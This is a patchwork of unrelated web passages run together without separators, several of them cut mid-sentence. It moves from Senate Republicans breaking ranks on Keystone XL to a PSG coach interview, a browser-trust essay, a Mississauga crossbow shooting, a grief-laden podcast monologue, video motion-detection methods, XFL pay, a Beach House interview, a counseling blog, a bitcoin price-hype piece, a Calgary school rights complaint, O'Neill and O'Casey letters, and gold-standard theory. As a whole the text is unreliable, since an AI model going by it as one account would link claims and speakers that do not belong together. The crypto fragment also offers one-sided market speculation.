It didn’t take long for vulnerable Republican senators to start bucking their new majority’s party line. Just three weeks into Mitch McConnell’s reign as Senate majority leader, he’s already confronting the challenges of running a caucus filled with blue-state Republicans who face reelection next year. They’ve begun departing from the GOP stance on issues like energy and climate change — a move that lets them espouse independence back home, but also exposes divisions that are bound to intensify as 2016 draws nearer. The Senate’s dynamic was on display in a series of amendment votes over the last week on the Keystone XL oil pipeline: New Hampshire Sen. Kelly Ayotte, one of the Democrats’ top targets in 2016, repeatedly broke with her party, including by opposing efforts to hamper Obama’s international climate negotiations. Illinois Sen. Mark Kirk was the lone Republican to back regulations on petroleum coke, a byproduct from oil refining. And conservative Pennsylvania Sen. Pat Toomey was one of 15 Republicans to endorse a statement that humans contribute to climate change. Another defector, North Carolina Sen. Richard Burr, was the only Republican to vote for a Democrat-backed mandate that the pipeline be built with U.S. steel. “It’s real simple,” he said proudly. “I’ve been for ‘Buy America’ every time it’s come up in the Senate.” Democrats lost most of those amendment battles, and the Senate is expected to eventually pass the pro-Keystone bill with support from all of the chamber’s 54 Republicans. The pipeline also has Democratic supporters such as Colorado Sen. Michael Bennet — himself vulnerable in 2016 — who opposed a Democrat-led filibuster that stalled the measure Monday night. But the early test on Keystone shows one of the major juggling acts McConnell must handle as he begins to chart an aggressive course for his majority, with more tough votes looming on the budget, taxes, trade and foreign policy. If McConnell goes too far to the right, he could lose swing-state GOP senators who need to moderate on issues that resonate in their backyards, especially during a presidential election year that’s expected to bring a surge of Democratic turnout. But if McConnell tries to move to the center on issues that play well in Ohio or Wisconsin — where GOP Sens. Rob Portman and Ron Johnson face reelection, respectively — he could have a hard time reconciling the Senate’s legislation with what comes out of the conservative House. One bright spot: The defections will help GOP senators rebut Democratic accusations that they’re mere foot soldiers for their party’s leaders in an unpopular Congress. Republican leaders hope their endangered senators will defect on less controversial issues but ultimately fall in line for the bulk of the party’s agenda, starting with Keystone and continuing into this spring’s budget fight. “Not everyone is going to vote like a red-state senator from Texas,” said Sen. John Cornyn (R-Texas), the chief vote-counter for his conference. “That’s just part of our diversity and regional differences. But I’d say we’re pretty darn unified and making good progress.” Indeed, the Senate GOP Conference’s ideological spectrum includes a conservative wing marked by the likes of Ted Cruz of Texas and freshman James Lankford of Oklahoma, along with a handful of moderates like Susan Collins of Maine and Lisa Murkowski of Alaska. In the middle is McConnell, who has 54 votes if he can keep his caucus united, six shy of breaking a Democratic filibuster and 13 short of overriding a veto. What makes this class of Republican senators particularly vulnerable is the expectation that they will be running in a far different climate in 2016. When they won their elections in 2010, the political environment heavily favored Republicans, as the rise of the tea party and fears over Obamacare drove GOP turnout in the midterm elections. But with the presidential race driving a larger number of voters in 2016, and Democrats hopeful that Hillary Clinton will draw women to the polls, Republicans could face a daunting path to holding the majority. The GOP has 24 Senate seats in contention, compared with the Democrats’ 10. The dynamics put blue-state Republicans like Kirk in a tricky spot. To pull off a victory, the former 10-year House veteran will have to show he can work with Democrats and espouse moderate credentials, without leaving himself vulnerable to a primary challenge. So far this year, he has balked at his party’s efforts to derail Obama’s executive actions on immigration through the Homeland Security spending bill. He joined Democrats on a number of early votes, including siding with fellow Illinois Sen. Dick Durbin in favor of regulating petroleum coke, an issue of importance on Chicago’s South Side. And he broke with Republicans by backing an

to do it. Why does Verratti get sent off? For his emotional frustration his suffering. Because it is hard to resist those kinds of frustration and manage the game despite it. You have to get used to live and play with it, and to overcome it. That probably doesn’t happen to a Barça or Real Madrid player. When you overcome it is when you make that big leap. That is Bakero’s goal or Iniesta’s goal. Why do I sub in Pastore when we were 0-1 down? Because Pastore is a player who has no inhibitions, that can make a nutmeg and still has possession or he can do it and make a big mistake. But he is a player who has moments, who can help to break the dynamic we were in. PSG needs to live a process. We had an enormous amount of pressure on us when we brought Neymar and Mbappé, because we are known as the ‘money’ team. Yes, but Real Madrid has done the same thing for the last 10 years buying Cristiano, Bale, Marcelo, Kroos, Modric… Players already established. And they have Zidane, that is the best coach Real Madrid can have. He cannot be the ideal coach, depending of the team, but he is the best for Real Madrid, and he is showing it. Can he improve? Of course he can, but he knows how to manage that group and to keep the players happy. There are players who have said it: Zidane is the best coach for us because he understands us, we are all happy and know that we cannot let him down in key moments. Can the situation be better? Sure, because they are not constant. And if he presses them more, maybe he will stop being Zidane. He knows what this group of players want and does what it is needed to make them happy. Being happy sometimes leads to relax and that takes a toll in the league, for instance. We had the chance to break them in that moment, and maybe to knock-down that construction, but we didn’t do it. Coaching Madrid or Barça is a very complicated job, is a balancing act. The balance between the players’ happiness and maximum effort. That is why is so hard to do what Zidane does. And that is why it is so admirable what Guardiola and Simeone do, and for me they are the best in the art of having their players happy while asking the most of them. What Pep did adapting to his players in Munich was amazing, admirable. Am I in that level? Not yet. I am not there yet. But I think I can get to that level. I am just not there yet. Look, the first thing I did this season was to establish my priorities: I have to keep Neymar happy, that is the first thing. Keep him happy. We will see how to do it. I have had many conversations with Neymar about this subject. Some of those conversations have not been successful, but some have been. In one of them, we were talking for 45 minutes, with our hearts on our sleeves. It was great. He listened to me and I could convince him of some things. But it is a process. Neymar is in a process to become the best. -One year ago, talking with Xabi Alonso in Munich, we talked about that famous video of the dinner between Draxler, Matuidi, Meunier and Verratti before the Barcelona game at Camp Nou, that 6-1 game. In that video you could sense fear in the players. Is the lack of emotional stability a shell that still needs to be broken? Or Thiago Silva’s statement saying that Messi can only be stopped by praying… In the important games, the team lacks a step of the process. It is still lacks it’s Bakero’s goal, the Iniesta’s goal. Having a player base as Real Madrid, established players and breaking the barrier. When will it happen? I think it is a difficult project, in the economic sense, player-wise or having a big training complex. What does it need? Patience and experience. I wanted to make the process faster. I wanted to see if I was able to speed up the process after winning the Europa League three times, and take a step forward. We didn’t take it. Why? Because we still have some things missing. You need to be important in key moments. As a player I have lived through feeling scared on the pitch, feeling scared to play. And sometimes in Ligue 1, you can be too comfortable. That is a bad thing for any player, because you can get stuck. I have pressed a lot, I have had discussions and shaken the dressing room. But that agitation, as I have not won

potential way that some identity thief or fraudster will find a way into my life. Browsers, the gateway to the Web, are on the front lines of this battle. There are encouraging signs here that browser makers are getting more serious. Google has modified Chrome so that for particular domains such as Gmail, it will only use certificates from a short list of certificate authorities it deems solid. That won't stop all abuse, but it was useful enough to flag the DigiNotar problem. Browser makers are also making it harder for add-ons to add themselves without user permission, asking difficult questions about balancing new features' utility and risk. More broadly, Google is pushing the use of secure Web connections, not just for Gmail but also for search. No longer naive This isn't the first time trust took a hit on the Net, of course, and computing systems continuously evolve away from their early, naive designs. Gone are the days when it was possible to break into servers with the username "guest" and an empty password, as described in Cliff Stohl's 1989 book "The Cuckoo's Egg." The trouble is that the Internet is increasingly essential to school, business, politics, and our personal lives. The damages of breaches of trust are worse than ever. It's great that the Net's technologists are responding. But there's no miracle cure here, and malicious hackers are advancing the state of the art at the same time. Governments and armed forces, not just thieves, are getting involved as cyberwar becomes just a facet of ordinary war. It's a great time to be on the Net, and I'm confident that ultimately it will withstand this current hit to its trustworthiness. But the time being, I'm keeping the annoying, heavy-duty Google authentication. Send this page to someone via email Peel Regional Police are asking for the public’s help with an attempted murder investigation where a woman was shot with an arrow in Mississauga in November. Police said on Nov. 7, 2018 at approximately 8 p.m., officers responded to a residence on Bayberry Drive in Mississauga where a 44-year-old woman was located with life-threatening injuries. The victim answered her front door to a suspect posing as a delivery man with a large box, police said. After a short conversation, the suspect then shot the victim with an arrow from a crossbow that was hidden inside of the box. Investigators said the suspect then fled the scene. On Monday, investigators released security video of the incident and images of the suspect as well as a replica of the crossbow weapon used in the attack. Police said the arrow used against the victim is designed to hunt large animals such as moose and deer, inflicting the maximum amount of damage possible. Story continues below advertisement Police said they believe this was a targeted attack based on the comments made to the victim by the suspect during their conversation. “The suspect may have carried out the attack at the request of another individual. It is clear that this attack was meant to end the victim’s life,” said Supt. Heather Ramore in a press conference. Police have a vehicle they believe was involved in the incident. The vehicle is described as a dark-coloured pickup truck that was in the area of the home minutes before and after the attack took place. Anyone with information about the incident is asked to contact investigators at the 11 Division Criminal Investigation Bureau at 905-456-5840 or by calling Crime Stoppers anonymously at 1-800-222-8477.

is blue and you can just smell that fresh air and the church bells ringing and kids are, you know, running from, coming out of school. And I'm sitting at this café and I'm drinking coffee, and it was just, it was an amazing cup of coffee and it's a beautiful day and the birds are chirping, and this guy had rolled a piano out onto this cobblestone street and started playing the most beautiful, heartfelt piano I'd ever heard in my life. This guy must have been a concert pianist in his spare time. He was Russian. I forget what his name was. But he was playing song after song after song with a feel that I had never, it almost looked like his hands were under water, the way that they were moving. They were so fluid, and he played with such feeling and touch that I started crying. And I'm not one usually to cry, listening to somebody play piano, and I started to wonder, what is it that's moving me so much in this moment? And I realized, I feel like the universe is hugging me right now. All of these components have come together, and I'm having this amazing experience, by myself, and yeah, there might have also been some loneliness in there, but going through the divorce that I've been going through lately and feeling all of that pain and sadness and then having this moment where I just felt so alive and connected, it was, it was beautiful. It was a little embarrassing [chuckles] because this one German guy was, just kept looking at me, like why is that man crying, but I didn't really care because it felt so, it felt so good. I went to Amsterdam after that, and I got to record a woman that I wasn't able to record in Berlin, so she made the train ride there and she grew up in East Germany. We've actually read stuff from her before on the podcast. She calls herself Anne from Berlin, and it was just a beautiful recording. And I can't wait to play that one for you guys. I got to say, Amsterdam is a really cool city, but a little tough to be in at night if you don't drink and you don't get high, so I just really got high on pancakes. I just ate pancakes wherever I could. And the hotel that I stayed in in Amsterdam was so funky-looking. It looked like something out of like a children's book, it was just so, I don't like the word whimsical, but it was whimsical. There's no other way to describe it. It was such a cool-looking hotel. And so that was my last place where I was. And then, oh, and I got to see the Van Gogh museum, which was really, really cool. And then I took the plane home, and I was ready to go home at that point, because it had been two weeks and I was starting to get lonely. I hadn't been to any of my support group meetings. And I'm on the plane and my wife texts me that Herbert's not feeling well, and she's like, do you think I should take him to the vet? And she showed me a little video of him, and, you know, his breathing looked a little off but it didn't seem too bad. And I said, you know, I think he can, because it was night there, it was morning in Amsterdam, as I was flying. And then she texted me back about a half hour later and said, I think I'm going to take him to the vet. And she did, and then she texted me back about a half hour after that and she said, they said that it's pretty serious and they think he has a 50/50 chance of surviving this, because he has an enlarged heart and he's been on meds for like four years for his heart, and they have just always been adjusting them, and he's 12 years old. And so I, I was just waiting for news about how this was going to go, and then she texted me again and said, he didn't make it. I still can't believe that it happened. I still can't wrap my head around the fact that I will never get to see Herbert again. He had such a distinct personality. He was so unintentionally funny. I suppose there's no dog that is intentionally funny, but, so I had 12 more hours on this flight, sobbing, and trying to hide my face because I didn't, I didn't want people to see me crying. And I suppose that's probably what most people would have done, but there was a part of me that really wanted to go ask somebody for a hug and just cry on their shoulder, but I couldn't, so I just hid my face, like I was really focused on my work. You know, I like had my hand on the side

and then obtaining a trajectory that represents continuous displacements at each point in adjacent frames. Figure 4. General concept of a trajectory classification technique In the end, a clustering approach is applied to classify the trajectories into background and foreground regions where moving objects can be detected. However, a clustering approach faces difficulties in addressing points near the intersection of two subspaces. That’s why region segmentation is applied for labeling regions with points that belong to neither the foreground nor the background by comparing the region trajectories with the point trajectories. However, the watershed algorithm used for saving the boundary fragments often leads to deformation of an object’s shape and contour. Thus, point trajectory is not free from inaccurate trajectory classification or edge-preserving performance of moving objects. 2. Temporal and spatial differencing Temporal differencing is one of the most popular approaches for detecting moving objects in video captured with a moving camera. In contrast to detecting moving objects in video captured by a stable camera, there’s no need to build a background model in advance, as the background is changing all the time. The temporal differencing method detects the moving target by employing a pixel-wise difference method across successive frames. Spatial differencing includes various approaches based on the semantic similarity of pixels across video frames. Thus, there can be a stable spatial relationship between current pixels and randomly selected pixels in the current frame. This approach became the basis of a detection algorithm that sets up a spatial sample set for each individual pixel and creates and defines a spatial sample difference consensus. Recently, a new approach was introduced based on spatial filtering and region-based background subtraction. The proposed spatial filter uses the spatial coherence around the pixel neighborhood of foreground regions. It works great for removing noise and blurry parts of moving objects. This spatial filter can be easily extended to a spatio-temporal filter by including temporal neighbors. Though the spatio-temporal segmentation results are temporally consistent, these methods often have to deal with over-smoothing problems. 3. Frame differencing The frame differencing approach is based on detecting moving objects by calculating the pixel-by-pixel difference of two consecutive frames in a video sequence. This difference is then compared to a threshold to determine whether an object is in the background or foreground. This method has appeared highly adaptable to dynamic changes in the background, as it computes only the most recent frames. However, this approach also has some challenges to overcome. Particularly, it may inaccurately detect objects that move too fast or that suddenly stop. This happens because the last frame of the video sequence is treated as the reference, which is subtracted from the current frame. Figure 5. General concept of frame differencing Frame differencing with a reference frame is a modified temporal differencing method that was first introduced in 2017. Difference images are calculated by subtracting two input frames one at each pixel position. Instead of generating difference images using the traditional continuous frame differencing approach, this approach uses a fixed number of alternate frames centered around the current frame. 4. Optical flow The optical flow method uses the flow vectors of moving objects over time to detect them against the background. For every pixel, a velocity vector is calculated depending on the direction of object movement and how quickly the pixel is moving across the image. Optical flow can also be used for detecting both static and moving objects in the same frame. This approach is based on the following principles of motion vectors: In-depth translation creates a set of vectors with a common focus of expansion. Translation at a constant distance is reflected as a range of parallel motion vectors. Rotation perpendicular to the view axis forms one or more sets of vectors beginning from straight line segments. Rotation at a constant distance leads to a variety of concentric motion vectors. Figure 6. General concept of optical flow This method has a high level of detection accuracy as it copes even when the camera is shaking. However, optical flow is time-consuming, as it requires computing the apparent velocity and direction of every pixel in a video frame. This method can be used for real-time moving object detection, but it’s very sensitive to noise and may require specialized hardware. Let’s see what other challenges can lead to inaccurate detection of moving objects. Read also: How to Implement Artificial Intelligence for Solving Image Processing Tasks 7 critical challenges in detecting moving objects The challenges of detecting moving objects in a video depend on the environment where this video is captured and the camera used. A video captured indoors may contain shadows and sudden changes in illumination. If a video is filmed outdoors, there are even more challenges, as the environment is uncontrollable. In this case, we often have to deal with complex backgrounds,

We recently interviewed agent Logan Brown of Logan Brown Sports about his client Corey Vereen’s decision to walk away from the XFL. The full podcast between Mark and Logan is available here, and it was good to shed some light on the salary issues that led to Vereen making his exit. After careful consideration, @meanvereen has decided to forgo his @xfl2020 opportunity. Corey has stayed in great shape for his next football opportunity. Unfortunately that opportunity will not be in the XFL with the current pay scale. We wish the @XFLWildcats the best of luck! pic.twitter.com/CVF1Ugcv0x — Logan Brown Sports (@LBSAgent) October 23, 2019 Initially, players, teams and media alike were informed of a plan to have various pay tiers, beginning at $50,000 – $ 70,000 for tier 4 players, all the way up through 6 figures into the $600,000 range for tier ones. Tier One QB pay is still likely to be high, but the vast majority of XFL players will actually be getting around $55,000 with bonuses, $27,000 of which is guaranteed. “His ultimate frustration was not with the $55,000 number that was released 4 days before the draft…Corey went through the entire offseason under the impression that there would be a tiered salary structure with the XFL” Brown did say that he understood the decision on a business level to reduce salaries if it helps make the league more sustainable and get off the ground. What is interesting, however, is that players apparently have still not seen their contracts, and there’s a lot up in the air concerning benefits. The pay was not only a surprise to agents and players but also XFL front office personnel and coaches. “I have had conversations with four different teams in the XFL that had no idea the pay structure was going to go like that.” After the business failures of the AAF, it’s not surprising that the XFL ownership is being conservative. The AAF gave all players $70,000, more than most in the XFL, but they failed to complete a single season and ended up leaving players high and dry when they folded league operations. The XFL at least, guarantees pay from December through May. It seems the AAF’s downfall has made certain players skeptical even though the league did prove demand for a spring football league. Logan Brown has several players still in the XFL, and he stated that it remains a good opportunity for certain people. “I really, really want the XFL to succeed, I’ll be the first to say that this is a great opportunity for a lot of guys, you’ve got guys playing arena ball for $300 a game” “That’s really what this league is about, is getting guys that are hungry for that opportunity to get to the next level.” Corey Vereen, however, could be making much more in his field of collegiate study (computer science) and prefers to not risk his body for the current level of compensation. I was unaware of a knee issue that’s been bothering him this offseason, and I don’t think anyone could blame him for wanting to rest it, all things considered. Computer Science is one of the most profitable degrees available in this country and he’ll be happy, making good money there. Logan Brown spoke to the importance of putting out game film as players try to make their way to the NFL, but Corey Vereen had a good showing in the AAF. He may feel that he’s put enough on tape to attract attention, and wants to rest his body in the meantime. Brown also suggested Vereen may be considering walking away from football altogether, but that remains to be seen. When we asked about how this affects Brown’s forecast for the XFL as a whole, he said: “There’s a need for a league like this…there’s people walking the streets who belong in the NFL…It’s all about opportunity and timing…I wouldn’t hesitate to recommend it to the right person as a player, but there’s a couple of my guys that it doesn’t make a lot of sense for.” You can listen to the full interview starting at the 7-minute mark.

Were there any habits you had to learn or unlearn while reconfiguring your rehearsal space? VICTORIA LEGRAND: When we recorded the first batch of songs, I noticed a feeling of, "Oh shit, this feels really different from the last time we were in a studio." I felt things inside of my body that no longer needed to be there. ALEX SCALLY: You can't underestimate the power of being older. One of the great joys of being older is becoming a boss. When you're young, the naivete can be beautiful, but it also leads to so much confusion and inability to do things properly. You don't have full agency over your own existence. Getting older, you can be like, 'You know what? I didn't like any of that crap, so we're not doing it.' That was revelatory. A trend in 2010s indie has been artists constantly reinventing their sound, regardless of whether or not it works. Even though you've changed a lot from the first album, you've still largely sounded like Beach House over the years. LEGRAND: Yeah, and I don't know why that is. There's something about our combined personalities. People can say we're difficult, not true. We know what we like, and we know what we don't like. Maybe that's the key? I don’t know. SCALLY: The types of songs that we like to make are just what people hear when they say it sounds like Beach House. I understand what people mean when they say that, though. Victoria, you mentioned people saying you can be difficult. What do you mean by that? LEGRAND: Mostly it's a press thing. We've never wanted to appear ungrateful for any kind of press. It's extremely wonderful to have fans and interest, and we've never been jaded about that. But people who aren't in your shoes don't understand that if they were, they would also want to control the quality of how your faces are shown. Everyone has different levels. "You guys don't do syncs." We've done commercials. We've done TV shows. We'd love to do a soundtrack. Where is this myth coming from, that we don't want to do this stuff? Bring us the projects that would be awesome to do, and we'll fucking do them. You've seen the industry change a lot, too. Over the last 12 years, the things that are asked of artists on all levels — beyond just making music — are much different. LEGRAND: It's changed so much. Every time we put out a record, there are multiple things involved — internet acceleration, websites disappearing, everything's streaming. When we first started, it was like, "What's a Take Away Show?" Now, Take Away Shows don't exist anymore. I don't even know what's required of young bands anymore. We have no idea what it must be like to be starting out now. SCALLY: It's harder to make that jump. It's largely happening through Instagram, or through a cult of personality. It's all about your presence, your humor, your story. It's a different energy. LEGRAND: The machines are definitely back. You can't download anything from the internet anymore. The corporations have more power again. ADVERTISEMENT A lot of your contemporaries have signed to major labels since first coming up. Have you ever considered doing the same? LEGRAND: From early on, we inherently had a sense that when we make decisions, it's never about jumping at the big things. If someone offered us $100,000 to play a party in Austin, that seemed like a really bad idea. We were never going to be impressed by money being thrown at our faces. SCALLY: We always knew we wouldn't be able to be ourselves at those places. We have no interest in someone telling us what the single or the artwork is. We could never exist in that environment. We might do it if those people would actually work with us, but they have a way of doing things that we have no interest in. LEGRAND: And we haven't been offered anything. SCALLY: Well, we haven't looked.

I just had an interview for my mental health practicum for this upcoming spring semester. Great agency on the west-side of Chicago that I was referred to by one of my old classmates. Prior to the interview I had jitters because I did not know what to expect, but those jitters went away once I stepped foot into the agency and got a feel of the environment. The agency had unique looking designs inside that instantly caught my attention while touring with the senior counselor. I entered with jitters, but left overwhelmed with knowledge of the many different opportunities for addictions treatment. I’m excited to join this agency because it is the first milestone to my career as a Certified Alcohol and Other Drug Counselor (CADC). Thinking about this opportunity I cannot help, but to reflect what inspired me to pursue this and dream about where I plan to go with it, however I’m latching down for one hell of a ride. The sparking of my interest came from holding a billet titled Substance Abuse Control Officer (SACO), while serving in the United States Marine Corps. In that billet, I was the liaison between my unit and the base Substance Abuse Counseling Center. The SACO plays a key role in screening a unit and informing them on anything chemical substance related that can affect the unit’s readiness. If in the possibility a member within the unit has an alcohol or drug related incident that affects their performance then the SACO screens and refers that member to the base Substance Abuse Counseling Center. Working as a SACO, I had the opportunity to see a totally different side of the military; the side that none thinks exists. What inspired me to pursue this route was working alongside with the Substance Abuse Counseling Center and realizing that substance abuse plays a huge role at affecting a unit’s readiness. As a military veteran myself, I know the stressors that can drive a service member to drug or alcohol abuse, so why not address this because from my view things always seemed to get swept under the rug until it caused embarrassment on the unit itself. So, I share with you all that I have a desire to work with active duty military or military veterans, and this is where it starts. “Everybody needs a way out of that pain. Many people choose drugs and alcohol. Some people obsessively exercise or develop strange dietary habits, which is what I did. At least it got me toward a path of healthier living.” – Mariel Hemingway

By CCN.com: The future’s so bright for crypto that investors need to wear shades. Travis Kling, CIO of crypto investment firm Ikigai Asset Management, is more bullish on bitcoin than ever. From any vantage point, bitcoin has turned a corner. Not only is the bitcoin price up nearly 50% in May (based on CoinMarketCap data), but it’s about doubled year-to-date. Also, BTC has rebounded 150% from year-end 2018 lows. It would take the risk pendulum swinging in the complete opposite direction for anything to get in bitcoin’s way now. In an interview with the Nasdaq’s Trade Talks, Kling stated: “Any…questions that existed in the March/April timeframe about whether or not the crypto market had bottomed and what the chances were that we were going to revisit the lows, essentially all of that is out the window now. It would take some massive risk-off shift for assets globally for us to go retest the lows.” In fact, Kling’s outlook for the balance of this year and into 2020 is “really bright.” Fed-Fueled Crypto Rally Of all people, Fed Chairman Jerome Powell could be to thank for the nearly parabolic bitcoin price. Kling said it was Powell who “put the bottom in for crypto markets.” When the Fed did a 180-degree turn and turned dovish in late January, it set off a wave among global central banks to respond similarly. Hindsight is 20/20, and now it’s clear that this is what positioned the crypto market for the bull run. The evidence surfaced with Litecoin in early February after the cryptocurrency skyrocketed some 30% in a single day on robust trading volume. There’s been no stopping bitcoin, Litecoin, or the broader crypto market ever since. “It is no coincidence that that was nine days after the Fed did their U-turn,” said Kling in reference to the Litecoin rally. Bitcoin’s Higher Lows and Higher Highs Incidentally, Travis Kling is a former hedge fund trader. Even though he was successful, Kling came to the realization that “the world doesn’t need another hedge fund manager. But the world does need this technology.” He remembers his roots, however, and cites a phenomenon used by hedge fund legend George Soros called “reflexivity.” Basically, it means “higher prices beget higher prices, and lower prices beget lower prices,” explained Kling. And while Soros may be an equity investor, his reflexivity concept is more real in the crypto market than any other asset class, as per the Ikigai CIO. This is a result of the fact that the bitcoin price is fueled by the “network effect…the more people that use crypto the more valuable it is.” Given the ramped-up pace of mainstream adoption, it could be to the moon for the bitcoin price a lot sooner than later.

A Calgary woman who served as a teacher, vice-principal and principal with the Calgary Catholic School District (CCSD) over a period of 15 years claims she reluctantly quit and is taking her concerns to the Alberta Human Rights Commission. According to Barb Hamilton, there was a sense of fear amongst staff in an environment where an unspoken ‘Don’t ask, don’t tell’ approach was prevalent. Hamilton most recently worked as a principal from 2015 - 2017 at St. Joseph Elementary Junior High School before she left the role. “I would argue that perhaps this is what constructive dismissal feels like in the work place,” explained Hamilton. “When somebody’s given the choice to resign as opposed to approving a leave when requested.” “Their perspective is I resigned and my perspective is I wasn’t given a choice.” The former principal’s allegations are included in an ongoing court case regarding gay-straight alliances in Alberta’s schools. Hamilton filed an affidavit stating there were a total of 10 students in Grade 8 and Grade 9 at St. Joseph Elementary Junior High School who were believed to identify as LGBTQ and had intentionally hurt themselves. The self-harm was believed to be in response to the homophobic slurs they faced or family members who had told them ‘they would go to hell if they were gay’. Hamilton returned to teaching following her departure from St. Joseph but she is currently on leave from her new position. She has filed two human rights complaints against the Calgary Catholic School District over her alleged refused employment on the grounds of marital status, religious beliefs and sexual orientation. Officials with the Calgary Catholic School District say the organization will not comment on human rights complaints due to privacy concerns but did outline their commitment to providing ‘welcoming, caring, respectful and safe learning environments for all’. “Our school, and student groups within our school, address a number of diversity and justice issues – including issues associated with sexual orientation and gender identity,” said Tania Van Brunt, CCSD spokesperson in a statement sent to CTV Calgary Tuesday afternoon. “We do so in a comprehensive manner that involves the entire school community. We have many student groups that support safe and caring environments through their activities and demonstrate an understanding and respect for the sanctity of human life and respect for the human person which includes, but not limited to, ethnic and racial backgrounds, abilities or disabilities, sexual orientation, gender identity, etc.” With files from CTV’s Brenna Rose

�As to his being upset by certain aspects of the production, I don’t think he was very happy about the choice of cast. There were certain meetings (which I did not attend) during rehearsal time at which I gathered the administration of the Guild asked him to make cuts in the script. I have the distinct recollection of Lawrence Langner wanting some drastic ones. I had been told that O’N wouldn’t tolerate any cutting so that it was a great surprise to me when during the last days of rehearsal he asked me if I though the play should be cut. "Truthfully I was floored by the question. My 25 years at the Abbey Theatre—which was definitely a playwrights’ theatre—had taught me not to tamper with the work of an established author. It just wasn’t done. I truthfully told him that I hadn’t thought of it and hoped that no drastic alterations would be made. I think it was a day or so later that I received word from O’Neill via a note dictated to Miss Winegartner ordering slight changes… “Don’t know how familiar you are with the circumstances of the closing of the play in Detroit. I expected the Guild to fight that kind of censorship and was surprised when word came that the police lieutenant would be allowed to dictate what could be said. Got the impression that when O’N was contacted by phone by the Guild that he was so fed up that he told them to do what they liked. The whole episode was so distasteful that the following morning I left Detroit for the coast. “As you can gather I saw a great deal of O’Neill during the rehearsals and sometimes he would join me in a café while I had lunch. After the last rehearsal in NY we parted on very friendly terms. He talked to me of several plays he already had written—one of them, ‘A Touch of the Poet’ he partly described to me and I was to get the opportunity to read it when ‘Moon’ came to NY. That was the last time I saw him but on the opening night in Columbus he sent me the following wire: ‘Good luck tonight and again my deepest appreciation and friendship…E. O’Neill’ ” A Personal Note from Sean O’Casey The friendship of the Shields Brothers and Sean O’Casey goes back to the 1920s. In fact, at one time, O’Casey and Barry Fitzgerald were roommates. As their friendship grew O’Casey even wrote parts for Fitzgerald in his plays, such as Fluther Good in The Plough and the Stars. With the original production of Plough in Dublin in 1926, the Shields brothers sided with O’Casey against the Catholic actors of the Abbey and its director, W.B. Yeats. The controversy arose because of several characteristics that portrayed the Catholic inhabitants during Easter Week as less than the patriotic and pious bunch that the Church and Free State government wanted the world to see them as. The usual opening night riot broke out, but the Shields brothers and O’Casey stood their ground. O’Casey’s note to Shields, dated May 19, 1936, begins “My Dear Boss.” O’Casey was utilizing Shields nickname from the Abbey. He was called “boss” because he was actor, director, and even business manager when the players made their almost annual trek to the United States to keep the poorly funded national theatre afloat financially. The letter shows O’Casey’s strong admiration for American director John Ford, who was about to shoot The Plough and the Stars in Hollywood. And although he is not credited as a screenwriter for the movie, O’Casey seems to be sending Ford additional dialogue for the movie version. O’Casey begins: “I don’t think you’ve much to worry about the film. G. Jean Nathan tells me Ford & Sisk are two masterpieces at film production, & that ‘The Informer’ was a great bit of work. So don’t fret. I, of course, know of the selection of [actors] E. [Eileen] Crowe and F.J. [McCormick] & Will [Barry Fitzgerald] and yourself for work on the film. [Shields would play Patrick Pearse.] I don’t know myself what E. Crowe or F.J. are to do. Probably F.J. will play Clitheroe [he actually played Brennan]—I’m not sure. Anyhow, we can leave this to Ford. I am at present working on some changes to dialogue, I have suggested a few additions…Besides, Ford knows a great deal about the B

And for that reason they were portable as well. They were also divisible, and could be sliced into thin segments without losing their pro rata value. Finally, silver or gold were blended with small amounts of alloy to harden them, and since they did not corrode, they would last almost forever. Thus, because gold and silver are supremely "moneylike" commodities, they are selected by markets as money if they are available. Proponents of the gold standard do not suffer from a mysterious "gold fetish." They simply recognize that gold has always been selected by the market as money throughout history. Generally, gold and silver have both been moneys, side-byside. Since gold has always been far scarcer and also in greater demand than silver, it has always commanded a higher price, and tends to be money in larger transactions, while silver has been used in smaller exchanges. Because of its higher price, gold has often been selected as the unit of account, although this has not always been true. The difficulties of mining gold, which makes its production limited, make its long-term value relatively more stable than silver. 4. The Money Unit We referred to prices without explaining what a price really is. A price is simply the ratio of the two quantities exchanged in any transaction. It should be no surprise that every monetary unit we are now familiar with — the dollar, pound, mark, franc, et al. — began on the market simply as names for different units of weight of gold or silver. Thus the "pound sterling" in Britain, was exactly that — one pound of silver. "In all countries and all civilizations, two commodities have been dominant whenever they were available to compete as moneys with other commodities: gold and silver." The "dollar" originated as the name generally applied to a one-ounce silver coin minted by a Bohemian count named Schlick, in the sixteenth century. Count Schlick lived in Joachimsthal (Joachim's Valley). His coins, which enjoyed a great reputation for uniformity and fineness, were called Joachimsthalers and finally, just thalers. The word dollar emerged from the pronunciation of thaler. Since gold or silver exchanges by weight, the various national currency units, all defined as particular weights of a precious metal, will be automatically fixed in terms of each other. Thus, suppose that the dollar is defined as 1/20 of a gold ounce (as it was in the nineteenth century in the United States), while the pound sterling is defined as 1/4 of a gold ounce, and the French franc is established at 1/100 of a gold ounce. But in that case, the exchange rates between the various currencies are automatically fixed by their respective quantities of gold. If a dollar is 1/20 of a gold ounce, and the pound is 1/4 of a gold ounce, then the pound will automatically exchange for 5 dollars. And, in our example, the pound will exchange for 25 francs and the dollar for 5 francs. The definitions of weight automatically set the exchange rates between them. Free market gold standard advocates have often been taunted with the charge: "You are against the government fixing the price of goods and services; why then do you make an exception for gold? Why do you call for the government fixing the price of gold and setting the exchange rates between the various currencies?" The answer to this common complaint is that the question assumes the dollar to be an independent entity, a thing or commodity which should be allowed to fluctuate freely in relation to gold. But the rebuttal of the pro-gold forces points out that the dollar is not an independent entity, that it was originally simply a name for a certain weight of gold; the dollar, as well as the other currencies, is a unit of weight. But in that case, the pound, franc, dollar, and so on, are not exchanging as independent entities; they, too, are simply relative weights of gold. If 1/4 ounce of gold exchanges for 1/20 ounce of gold, how else would we expect them to trade than at 1:5? If the monetary unit is simply a unit of weight, then government's role in the area of money could well be confined to a simple Bureau of Weights and Measures, certifying this as well as other units of weight, length, or mass. The problem is that governments have systematically betrayed their trust as guardians of the precisely defined weight of the money commodity. If government sets itself up as the guardian of the international meter or the standard yard or pound, there is no economic incentive for it to betray its trust and change the definition. For the Bureau of Standards to announce suddenly that 1 pound is now equal to 14 instead of 16 ounces would make no sense whatever. There is, however, all too much of an economic incentive for governments to change, especially to lighten, the definition of the

